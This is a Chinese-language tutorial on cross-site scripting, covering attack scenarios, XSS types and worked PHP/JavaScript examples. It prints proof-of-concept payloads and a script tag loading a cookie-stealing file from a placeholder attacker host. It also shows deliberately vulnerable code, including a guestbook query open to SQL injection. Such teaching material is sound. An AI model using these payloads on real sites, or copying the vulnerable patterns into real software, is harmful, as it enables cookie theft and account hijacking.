XSS

XSS(cross-site scripting):attacker uses a web application to send malicious code

XSS簡介

在正常頁面插入程式碼,讓受害者觸發程式碼動作。
惡意script大部份是javascript,其他可能的還包括Java,VBScript,ActiveX,Flash,HTML,…etc
ex:
<script> alert('XSS'); </script>

 

攻擊流程

1 準備好惡意XSS頁面
2 等待受害者觸發,或直接傳送給送害者
3 受害者開啟後自動執行惡意script

 

常見攻擊場景

1.釣魚攻擊

例如插入惡意連結,改變正常網頁內容,誘導使用者去惡意網頁,像假的密碼修改頁面或其他惡意網頁

2.盗取受害者cookie或個人資訊

例如在正常頁面插入惡意來源位置 <script src=http://attackurl/xss.js></script>,並在xss.js準備好盜取cookie的攻擊程式.
當使用者存取正常頁面時,會觸發攻擊程式,導致cookie被偷走;若是被管理者存取,則可以得到取得cookie假冒管理者

3.發動CSRF (假冒使用者執行動作)

當使用者在正常網站A保持登錄狀態時,瀏覽惡意網站B,此時B站可以劫持使用者的瀏覽器,以假冒使用者在網站A執行動作

refer
https://blog.csdn.net/pygain/article/details/52912521
https://www.cnblogs.com/HunterJ/p/10716889.html
https://blog.csdn.net/hicube/article/details/6285036

 


 

XSS根據程式位置可分為:

Persistent / stored xss (存储型XSS攻擊)

XSS code被存入了網站內,持續保存著 the injected code is permanently stored on the target servers in a database
ex:
留言版被插入XSS code,所以xss保留在留言版中

Non-persistent / reflected xss(反射型XSS攻擊)

XSS code不在網站內,而是透過其他來源讀入並輸出 the injected code takes another route to the victim,such as in an email message
ex:
透過URL存放臨時的code控制頁面
http://web.com/index.asp?name=<script> evilscript() </script>

 

reflected XSS 範例

正常原始碼如下
echo ‘hello ’.$_GET['name'];
正常網址如下
http://www.example.com?name=ray
正常輸出如下
hello ray

正常網址後插入攻擊字串可引發XSS弱點
http://www.example.com?name=<script>alert(XSS) </script>
因為輸出改變如下,觸發XSS攻擊
hello <script>alert(XSS) </script>

 

Stored XSS 範例

正常原始碼如下

$name = $_GET[“content”];
mysql_query(“insert into guestbook(content) values(’$name’)”,$conn);
$results = mysql_fetch_array(mysql_query(“select * from guestbook”));
echo ‘content=’.$results[content];

正常網址如下
http://www.example.com?content=this is good
正常輸出如下
content=this is good

正常網址後插入攻擊字串可引發XSS弱點
http://www.example.com?content=<script>alert(XSS) </script>
因為會將攻擊字串取出 ,觸發XSS攻擊
content=<script>alert(XSS) </script>

 


 

XSS根據使用技巧可分為:

DOM based XSS

利用DOM的弱點,通常是因 .html() 或 .innerHTML() 直接用到js語法導致,另外這也常用在反射型XSS攻擊

Mutated XSS

瀏覽器將本來沒有問題的語法解釋成有危險的XSS語法

Self XSS

由受害者自己輸入xss觸發才能成功的手法,通常搭配社交工程來完成攻擊
ps:
DOM(Document Object Model)是用來描述 HTML的表示法,可以使JavaScript動態產生完整網頁,而不必透過後端伺服器。

refer
https://imweb.io/topic/55e3c132771670e207a16bcf
https://www.freebuf.com/articles/web/130462.html
https://www.zhihu.com/question/26628342

 

DOM XSS 範例

正常原始碼如下
write按鈕的 onclick 事件使用了 a1() 函數。而在 a1() 函數中,修改了 DOM 節點,通過 innerHTML 把一段用戶資料當作 HTML 寫入到頁面中,這就造成了 DOM-Based XSS

<script>
 function a1() {
    var str = document.getElementById("linkurl").value;
    document.getElementById("outputcontent").innerHTML = "< a href=' " + str + " ' >test< /a>";
}
</script>
<div id="outputcontent">
<input type="text" id="linkurl" value="">
<input type="button" id="s" value="write" onclick="a1()">

正常輸出如下
< a href=’ ‘>test</a>

在表單的linkurl輸入以下攻擊字串可引發XSS弱點
' onclick=alert( XSS )//

因為輸出改變如下,觸發XSS攻擊
< a href=' ' onclick=alert( XSS )//'>test< /a>
#第一個單引號用’閉合掉,然後插入一個 onclick 事件
#最後再用//註釋掉第二個單引號。

refer
https://ithelp.ithome.com.tw/articles/10218476